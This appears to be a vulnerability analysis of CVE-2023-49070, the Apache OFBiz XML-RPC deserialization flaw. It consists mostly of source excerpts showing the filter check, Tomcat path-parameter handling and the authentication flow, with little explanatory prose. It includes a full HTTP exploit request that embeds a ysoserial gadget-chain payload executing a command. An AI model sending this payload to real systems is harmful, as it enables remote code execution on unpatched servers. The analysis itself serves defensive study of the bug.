CVE-2023-49070 Apache OFBiz XMLRPC RCE漏洞分析

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {    // Get the request URI without the webapp mount point.    String context = ((HttpServletRequest) request).getContextPath();    String uriWithContext = ((HttpServletRequest) request).getRequestURI();    String uri = uriWithContext.substring(context.length());
    if ("/control/xmlrpc".equals(uri.toLowerCase())) {        // Read request.getReader() as many time you need        request = new RequestWrapper((HttpServletRequest) request);        String body = request.getReader().lines().collect(Collectors.joining());        if (body.contains("</serializable")) {            Debug.logError("Content not authorised for security reason", "CacheFilter"); // Cf. OFBIZ-12332            return;        }    }    chain.doFilter(request, response);}

<filter>    <display-name>CacheFilter</display-name>    <filter-name>CacheFilter</filter-name>    <filter-class>org.apache.ofbiz.base.util.CacheFilter</filter-class></filter><filter-mapping>    <filter-name>CacheFilter</filter-name>    <url-pattern>/*</url-pattern></filter-mapping>

POST /webtools/control/xmlrpc HTTP/1.1Host: localhost:8443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept: */*Connection: closeContent-Type: application/xmlContent-Length: 3982<?xml version="1.0"?><methodCall><methodName>Test</methodName><params><param><value><struct><member><name>rce</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqjK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNDk3OTQ2MTA4NzQyNjI1AQAgTHlzb3NlcmlhbC9Qd25lcjQ5Nzk0NjEwODc0MjYyNTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>```

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {    // Get the request URI without the webapp mount point.    String context = ((HttpServletRequest) request).getContextPath();    String uriWithContext = ((HttpServletRequest) request).getRequestURI();    String uri = uriWithContext.substring(context.length());    if ("/control/xmlrpc".equals(uri.toLowerCase())) {        // Read request.getReader() as many time you need        request = new RequestWrapper((HttpServletRequest) request);        String body = request.getReader().lines().collect(Collectors.joining());        if (body.contains("</serializable")) {            Debug.logError("Content not authorised for security reason", "CacheFilter"); // Cf. OFBIZ-12332            return;        }    }    chain.doFilter(request, response);}

protected void parsePathParameters(org.apache.coyote.Request req, Request request) {    // Process in bytes (this is default format so this is normally a NO-OP    req.decodedURI().toBytes();    ByteChunk uriBC = req.decodedURI().getByteChunk();    // The first character must always be '/' so start search at position 1.    // If the first character is ';' the URI will be rejected at the    // normalization stage    int semicolon = uriBC.indexOf(';', 1);    // Performance optimisation. Return as soon as it is known there are no    // path parameters;    if (semicolon == -1) {        return;    }    // What encoding to use? Some platforms, eg z/os, use a default    // encoding that doesn't give the expected result so be explicit    Charset charset = connector.getURICharset();      // ...    while (semicolon > -1) {        // Parse path param, and extract it from the decoded request URI        int start = uriBC.getStart();        int end = uriBC.getEnd();
        int pathParamStart = semicolon + 1;        int pathParamEnd =                ByteChunk.findBytes(uriBC.getBuffer(), start + pathParamStart, end, new byte[] { ';', '/' });
        String pv = null;        if (pathParamEnd >= 0) {            if (charset != null) {                pv = new String(uriBC.getBuffer(), start + pathParamStart, pathParamEnd - pathParamStart, charset);            }            // Extract path param from decoded request URI            byte[] buf = uriBC.getBuffer();            for (int i = 0; i < end - start - pathParamEnd; i++) {                buf[start + semicolon + i] = buf[start + i + pathParamEnd];            }            uriBC.setBytes(buf, start, end - start - pathParamEnd + semicolon);        } else {            if (charset != null) {                pv = new String(uriBC.getBuffer(), start + pathParamStart, (end - start) - pathParamStart, charset);            }            uriBC.setEnd(start + semicolon);        }        // ...        if (pv != null) {            int equals = pv.indexOf('=');            if (equals > -1) {                String name = pv.substring(0, equals);                String value = pv.substring(equals + 1);                request.addPathParameter(name, value);                // ...            }        }        semicolon = uriBC.indexOf(';', semicolon);    }}

<servlet>    <description>Main Control Servlet</description>    <display-name>ControlServlet</display-name>    <servlet-name>ControlServlet</servlet-name>    <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>    <load-on-startup>1</load-on-startup></servlet><servlet-mapping>    <servlet-name>ControlServlet</servlet-name>    <url-pattern>/control/*</url-pattern></servlet-mapping>

<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">    <security auth="true"/>    <event type="xmlrpc"/>    <response name="error" type="none"/>    <response name="success" type="none"/></request-map>

<xs:attribute type="xs:boolean" name="auth" default="false">    <xs:annotation>        <xs:documentation>            If auth=true, when you hit the request if you are not logged in you will be forwarded to the login page.        </xs:documentation>    </xs:annotation></xs:attribute>

try {    // the ServerHitBin call for the event is done inside the doRequest method    handler.doRequest(request, response, null, userLogin, delegator);}

/** Find the event handler and invoke an event. */public String runEvent(HttpServletRequest request, HttpServletResponse response,        ConfigXMLReader.Event event, ConfigXMLReader.RequestMap requestMap, String trigger) throws EventHandlerException {    EventHandler eventHandler = eventFactory.getEventHandler(event.type);    String eventReturn = eventHandler.invoke(event, requestMap, request, response);    if (Debug.verboseOn() || (Debug.infoOn() && "request".equals(trigger))) Debug.logInfo("Ran Event [" + event.type + ":" + event.path + "#" + event.invoke + "] from [" + trigger + "], result is [" + eventReturn + "]", module);    return eventReturn;}

public static String extensionCheckLogin(HttpServletRequest request, HttpServletResponse response) {    for (LoginCheck check: ServiceLoader.load(LoginCheck.class)) {        if (!check.isEnabled()) {            continue;        }        String result = check.associate(request, response);        if (result != null) {            return result;        }    }    return checkLogin(request, response);}

// check parametersusername = request.getParameter("USERNAME");password = request.getParameter("PASSWORD");token = request.getParameter("TOKEN");// check session attributesif (username == null) username = (String) session.getAttribute("USERNAME");if (password == null) password = (String) session.getAttribute("PASSWORD");if (token == null) token = (String) session.getAttribute("TOKEN");
if (username == null        || (password == null && token == null)        || "error".equals(login(request, response))) {
    // make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error    request.removeAttribute("_LOGIN_PASSED_");    // ...      return "error";}

boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));if (!unpwErrMsgList.isEmpty()) {    request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);    return  requirePasswordChange ? "requirePasswordChange" : "error";}